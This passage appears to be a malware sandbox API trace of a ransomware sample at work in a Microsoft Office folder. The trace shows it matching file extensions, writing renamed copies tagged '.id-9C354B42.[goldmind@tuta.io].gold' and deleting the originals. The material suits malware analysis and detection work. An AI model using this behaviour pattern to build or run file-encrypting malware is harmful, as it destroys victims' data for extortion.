(lpString=".1cd") returned 4 [0110.076] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.076] lstrlenW (lpString=".jpg") returned 4 [0110.076] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.076] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0110.076] lstrlenW (lpString="BCSSync.exe") returned 11 [0110.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.077] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=112512) returned 1 [0110.077] CloseHandle (hObject=0x3b4) returned 1 [0110.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe")) returned 0x20 [0110.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0110.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0110.077] lstrlenW (lpString=".doc") returned 4 [0110.077] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0110.077] lstrlenW (lpString=".docx") returned 5 [0110.077] lstrcmpiW (lpString1=".docx", lpString2="c.exe") returned -1 [0110.077] lstrlenW (lpString=".pdf") returned 4 [0110.077] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0110.077] lstrlenW (lpString=".xls") returned 4 [0110.077] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0110.077] lstrlenW (lpString=".xlsx") returned 5 [0110.077] lstrcmpiW (lpString1=".xlsx", lpString2="c.exe") returned -1 [0110.077] lstrlenW (lpString=".ppt") returned 4 [0110.077] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0110.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0110.077] lstrlenW (lpString=".zip") returned 4 [0110.077] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0110.077] lstrlenW (lpString=".rar") returned 4 [0110.077] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0110.077] lstrlenW (lpString=".bz2") returned 4 [0110.077] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0110.077] lstrlenW (lpString=".7z") returned 3 [0110.077] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0110.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0110.077] lstrlenW (lpString=".dbf") returned 4 [0110.077] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0110.080] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.080] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.081] GetLastError () returned 0x0 [0110.081] ReadFile (in: hFile=0x3b4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x7df6, lpOverlapped=0x0) returned 1 [0110.311] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x7e00, lpOverlapped=0x0) returned 1 [0110.312] ReadFile (in: hFile=0x3b4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.312] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.312] SetEndOfFile (hFile=0x394) returned 1 [0110.312] CloseHandle (hObject=0x394) returned 1 [0110.312] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.312] SetEndOfFile (hFile=0x3b4) returned 1 [0110.314] CloseHandle (hObject=0x3b4) returned 1 [0110.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr")) returned 1 [0110.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.483] lstrlenW (lpString=".doc") returned 4 [0110.483] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString=".docx") returned 5 [0110.483] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0110.483] lstrlenW (lpString=".pdf") returned 4 [0110.483] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString=".xls") returned 4 [0110.483] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString=".xlsx") returned 5 [0110.483] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0110.483] lstrlenW (lpString=".ppt") returned 4 [0110.483] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.483] lstrlenW (lpString=".zip") returned 4 [0110.483] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString=".rar") returned 4 [0110.483] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString=".bz2") returned 4 [0110.483] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString=".7z") returned 3 [0110.483] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.483] lstrlenW (lpString=".dbf") returned 4 [0110.483] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.483] lstrlenW (lpString=".1cd") returned 4 [0110.483] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.483] lstrlenW (lpString=".jpg") returned 4 [0110.483] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.483] lstrlenW (lpString=".doc") returned 4 [0110.483] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.483] lstrlenW (lpString=".docx") returned 5 [0110.483] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0110.483] lstrlenW (lpString=".pdf") returned 4 [0110.484] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.484] lstrlenW (lpString=".xls") returned 4 [0110.484] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.484] lstrlenW (lpString=".xlsx") returned 5 [0110.484] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0110.484] lstrlenW (lpString=".ppt") returned 4 [0110.484] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.484] lstrlenW (lpString=".zip") returned 4 [0110.484] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.484] lstrlenW (lpString=".rar") returned 4 [0110.484] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.484] lstrlenW (lpString=".bz2") returned 4 [0110.484] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.484] lstrlenW (lpString=".7z") returned 3 [0110.484] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.484] lstrlenW (lpString=".dbf") returned 4 [0110.484] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.484] lstrlenW (lpString=".1cd") returned 4 [0110.484] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0110.484] lstrlenW (lpString=".jpg") returned 4 [0110.484] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.484] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.484] lstrlenW (lpString="MSART5.BDR") returned 10 [0110.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.485] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=15788) returned 1 [0110.485] CloseHandle (hObject=0x3a0) returned 1 [0110.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 0x20 [0110.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.485] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.485] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0110.486] GetLastError () returned 0x0 [0110.486] ReadFile (in: hFile=0x3a0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x3dac, lpOverlapped=0x0) returned 1 [0110.507] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x3db0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x3db0, lpOverlapped=0x0) returned 1 [0110.508] ReadFile (in: hFile=0x3a0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.508] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.508] SetEndOfFile (hFile=0x188) returned 1 [0110.509] CloseHandle (hObject=0x188) returned 1 [0110.509] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.509] SetEndOfFile (hFile=0x3a0) returned 1 [0110.510] CloseHandle (hObject=0x3a0) returned 1 [0110.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.512] lstrlenW (lpString=".doc") returned 4 [0110.512] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.512] lstrlenW (lpString=".docx") returned 5 [0110.512] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0110.512] lstrlenW (lpString=".pdf") returned 4 [0110.512] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.512] lstrlenW (lpString=".xls") returned 4 [0110.512] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.512] lstrlenW (lpString=".xlsx") returned 5 [0110.512] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0110.512] lstrlenW (lpString=".ppt") returned 4 [0110.512] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.512] lstrlenW (lpString=".zip") returned 4 [0110.512] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.512] lstrlenW (lpString=".rar") returned 4 [0110.512] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.512] lstrlenW (lpString=".bz2") returned 4 [0110.512] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.512] lstrlenW (lpString=".7z") returned 3 [0110.512] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.512] lstrlenW (lpString=".dbf") returned 4 [0110.512] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.512] lstrlenW (lpString=".1cd") returned 4 [0110.512] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.512] lstrlenW (lpString=".jpg") returned 4 [0110.512] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.513] lstrlenW (lpString=".doc") returned 4 [0110.513] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.513] lstrlenW (lpString=".docx") returned 5 [0110.513] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0110.513] lstrlenW (lpString=".pdf") returned 4 [0110.513] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.513] lstrlenW (lpString=".xls") returned 4 [0110.513] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.513] lstrlenW (lpString=".xlsx") returned 5 [0110.513] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0110.513] lstrlenW (lpString=".ppt") returned 4 [0110.513] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.513] lstrlenW (lpString=".zip") returned 4 [0110.513] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.513] lstrlenW (lpString=".rar") returned 4 [0110.513] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.513] lstrlenW (lpString=".bz2") returned 4 [0110.513] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.513] lstrlenW (lpString=".7z") returned 3 [0110.513] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.513] lstrlenW (lpString=".dbf") returned 4 [0110.513] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.513] lstrlenW (lpString=".1cd") returned 4 [0110.513] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0110.513] lstrlenW (lpString=".jpg") returned 4 [0110.513] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.513] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.513] lstrlenW (lpString="MSART7.BDR") returned 10 [0110.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.514] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3876) returned 1 [0110.514] CloseHandle (hObject=0x3a0) returned 1 [0110.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 0x20 [0110.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.514] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.514] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0110.515] GetLastError () returned 0x0 [0110.515] ReadFile (in: hFile=0x3a0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xf24, lpOverlapped=0x0) returned 1 [0110.539] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf30, lpOverlapped=0x0) returned 1 [0110.539] ReadFile (in: hFile=0x3a0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.540] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.540] SetEndOfFile (hFile=0x188) returned 1 [0110.578] CloseHandle (hObject=0x188) returned 1 [0110.578] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.578] SetEndOfFile (hFile=0x3a0) returned 1 [0110.600] CloseHandle (hObject=0x3a0) returned 1 [0110.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 1 [0110.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.601] lstrlenW (lpString=".doc") returned 4 [0110.601] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString=".docx") returned 5 [0110.601] lstrcmpiW (lpString1=".docx", lpString2="7.BDR") returned -1 [0110.601] lstrlenW (lpString=".pdf") returned 4 [0110.601] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString=".xls") returned 4 [0110.601] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString=".xlsx") returned 5 [0110.601] lstrcmpiW (lpString1=".xlsx", lpString2="7.BDR") returned -1 [0110.601] lstrlenW (lpString=".ppt") returned 4 [0110.601] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.601] lstrlenW (lpString=".zip") returned 4 [0110.601] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString=".rar") returned 4 [0110.601] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString=".bz2") returned 4 [0110.601] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString=".7z") returned 3 [0110.601] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.601] lstrlenW (lpString=".dbf") returned 4 [0110.601] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.601] lstrlenW (lpString=".1cd") returned 4 [0110.601] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.601] lstrlenW (lpString=".jpg") returned 4 [0110.601] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.601] lstrlenW (lpString=".doc") returned 4 [0110.601] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString=".docx") returned 5 [0110.601] lstrcmpiW (lpString1=".docx", lpString2="7.BDR") returned -1 [0110.601] lstrlenW (lpString=".pdf") returned 4 [0110.601] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString=".xls") returned 4 [0110.601] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.601] lstrlenW (lpString=".xlsx") returned 5 [0110.602] lstrcmpiW (lpString1=".xlsx", lpString2="7.BDR") returned -1 [0110.602] lstrlenW (lpString=".ppt") returned 4 [0110.602] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.602] lstrlenW (lpString=".zip") returned 4 [0110.602] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.602] lstrlenW (lpString=".rar") returned 4 [0110.602] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.602] lstrlenW (lpString=".bz2") returned 4 [0110.602] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.602] lstrlenW (lpString=".7z") returned 3 [0110.602] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.602] lstrlenW (lpString=".dbf") returned 4 [0110.602] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 